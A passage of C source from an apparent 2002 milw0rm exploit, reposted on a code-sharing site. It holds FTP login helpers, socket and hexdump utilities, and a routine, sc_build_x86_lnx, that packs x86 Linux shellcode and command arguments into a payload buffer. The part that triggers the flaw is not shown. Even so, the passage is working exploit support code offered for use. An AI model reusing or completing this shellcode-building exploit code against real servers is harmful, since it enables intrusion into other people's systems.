if (memcmp (resp, "220-", 4) == 0)

ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");

if (memcmp (resp, "220 ", 4) != 0) {

if (verbose)

printf ("\n%s\n", resp);

goto flerr;

}

ftp_banner = strdup (resp);

net_write (ftpsock, "USER %s\n", user);

memset (resp, '\x00', sizeof (resp));

if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)

goto flerr;

if (memcmp (resp, "331 ", 4) != 0) {

if (verbose)

printf ("\n%s\n", resp);

goto flerr;

}

net_write (ftpsock, "PASS %s\n", pass);

memset (resp, '\x00', sizeof (resp));

if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)

goto flerr;

/* handle multiline responses from ftp servers

*/

if (memcmp (resp, "230-", 4) == 0)

ftp_recv_until (ftpsock, resp, sizeof (resp), "230 ");

if (memcmp (resp, "230 ", 4) != 0) {

if (verbose)

printf ("\n%s\n", resp);

goto flerr;

}

return (ftpsock);

flerr:

if (ftpsock > 0)

close (ftpsock);

return (0);

}

/* ripped from zodiac */

void

hexdump (char *desc, unsigned char *data, unsigned int amount)

{

unsigned int dp, p; /* data pointer */

const char trans[] =

"................................ !\"#$%&'()*+,-./0123456789"

":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"

"nopqrstuvwxyz{|}~...................................."

"....................................................."

"........................................";

printf ("/* %s, %u bytes */\n", desc, amount);

for (dp = 1; dp <= amount; dp++) {

fprintf (stderr, "%02x ", data[dp-1]);

if ((dp % 8) == 0)

fprintf (stderr, " ");

if ((dp % 16) == 0) {

fprintf (stderr, "| ");

p = dp;

for (dp -= 16; dp < p; dp++)

fprintf (stderr, "%c", trans[data[dp]]);

fflush (stderr);

fprintf (stderr, "\n");

}

fflush (stderr);

}

if ((amount % 16) != 0) {

p = dp = 16 - (amount % 16);

for (dp = p; dp > 0; dp--) {

fprintf (stderr, " ");

if (((dp % 8) == 0) && (p != 8))

fprintf (stderr, " ");

fflush (stderr);

}

fprintf (stderr, " | ");

for (dp = (amount - (16 - p)); dp < amount; dp++)

fprintf (stderr, "%c", trans[data[dp]]);

fflush (stderr);

}

fprintf (stderr, "\n");

return;

}

unsigned long int

net_resolve (char *host)

{

long i;

struct hostent *he;

i = inet_addr(host);

if (i == -1) {

he = gethostbyname(host);

if (he == NULL) {

return (0);

} else {

return (*(unsigned long *) he->h_addr);

}

}

return (i);

}

int

net_connect (struct sockaddr_in *cs, char *server,

unsigned short int port, int sec)

{

int n,

len,

error,

flags;

int fd;

struct timeval tv;

fd_set rset, wset;

struct sockaddr_in csa;

if (cs == NULL)

cs = &csa;

/* first allocate a socket */

cs->sin_family = AF_INET;

cs->sin_port = htons (port);

fd = socket (cs->sin_family, SOCK_STREAM, 0);

if (fd == -1)

return (-1);

if (!(cs->sin_addr.s_addr = net_resolve (server))) {

close (fd);

return (-1);

}

flags = fcntl (fd, F_GETFL, 0);

if (flags == -1) {

close (fd);

return (-1);

}

n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);

if (n == -1) {

close (fd);

return (-1);

}

error = 0;

n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));

if (n < 0) {

if (errno != EINPROGRESS) {

close (fd);

return (-1);

}

}

if (n == 0)

goto done;

FD_ZERO(&rset);

FD_ZERO(&wset);

FD_SET(fd, &rset);

FD_SET(fd, &wset);

tv.tv_sec = sec;

tv.tv_usec = 0;

n = select(fd + 1, &rset, &wset, NULL, &tv);

if (n == 0) {

close(fd);

errno = ETIMEDOUT;

return (-1);

}

if (n == -1)

return (-1);

if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {

if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {

len = sizeof(error);

if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {

errno = ETIMEDOUT;

return (-1);

}

if (error == 0) {

goto done;

} else {

errno = error;

return (-1);

}

}

} else

return (-1);

done:

n = fcntl(fd, F_SETFL, flags);

if (n == -1)

return (-1);

return (fd);

}

void

net_write (int fd, const char *str, ...)

{

char tmp[1025];

va_list vl;

int i;

va_start(vl, str);

memset(tmp, 0, sizeof(tmp));

i = vsnprintf(tmp, sizeof(tmp), str, vl);

va_end(vl);

#ifdef DEBUG

printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");

#endif

send(fd, tmp, i, 0);

return;

}

int

net_rlinet (int fd, char *buf, int bufsize, int sec)

{

int n;

unsigned long int rb = 0;

struct timeval tv_start, tv_cur;

memset(buf, '\0', bufsize);

(void) gettimeofday(&tv_start, NULL);

do {

(void) gettimeofday(&tv_cur, NULL);

if (sec > 0) {

if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -

((tv_start.tv_sec * 1000000) +

(tv_start.tv_usec))) > (sec * 1000000))

{

return (-1);

}

}

n = net_rtimeout(fd, NET_READTIMEOUT);

if (n <= 0) {

return (-1);

}

n = read(fd, buf, 1);

if (n <= 0) {

return (n);

}

rb++;

if (*buf == '\n')

return (rb);

buf++;

if (rb >= bufsize)

return (-2); /* buffer full */

} while (1);

}

int

net_rtimeout (int fd, int sec)

{

fd_set rset;

struct timeval tv;

int n, error, flags;

error = 0;

flags = fcntl(fd, F_GETFL, 0);

n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);

if (n == -1)

return (-1);

FD_ZERO(&rset);

FD_SET(fd, &rset);

tv.tv_sec = sec;

tv.tv_usec = 0;

/* now we wait until more data is received then the tcp low level

* watermark, which should be setted to 1 in this case (1 is default)

*/

n = select(fd + 1, &rset, NULL, NULL, &tv);

if (n == 0) {

n = fcntl(fd, F_SETFL, flags);

if (n == -1)

return (-1);

errno = ETIMEDOUT;

return (-1);

}

if (n == -1) {

return (-1);

}

/* socket readable ? */

if (FD_ISSET(fd, &rset)) {

n = fcntl(fd, F_SETFL, flags);

if (n == -1)

return (-1);

return (1);

} else {

n = fcntl(fd, F_SETFL, flags);

if (n == -1)

return (-1);

errno = ETIMEDOUT;

return (-1);

}

}

static int

sc_build_x86_lnx (unsigned char *target, size_t target_len,

unsigned char *shellcode, char **argv)

{

int i;

size_t tl_orig = target_len;

if (strlen (shellcode) >= (target_len - 1))

return (-1);

memcpy (target, shellcode, strlen (shellcode));

target += strlen (shellcode);

target_len -= strlen (shellcode);

for (i = 0 ; argv[i] != NULL ; ++i)

;

/* set argument count

*/

target[0] = (unsigned char) i;

target++;

target_len--;

for ( ; i > 0 ; ) {

i -= 1;

if (strlen (argv[i]) >= target_len)

return (-1);

printf ("[%3d/%3d] adding (%2d): %s\n",

(tl_orig - target_len), tl_orig,

strlen (argv[i]), argv[i]);

memcpy (target, argv[i], strlen (argv[i]));

target += strlen (argv[i]);

target_len -= strlen (argv[i]);

target[0] = (unsigned char) (i + 1);

target++;

target_len -= 1;

}

return (tl_orig - target_len);

}

// milw0rm.com [2002-05-14]
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  linux 职场 休闲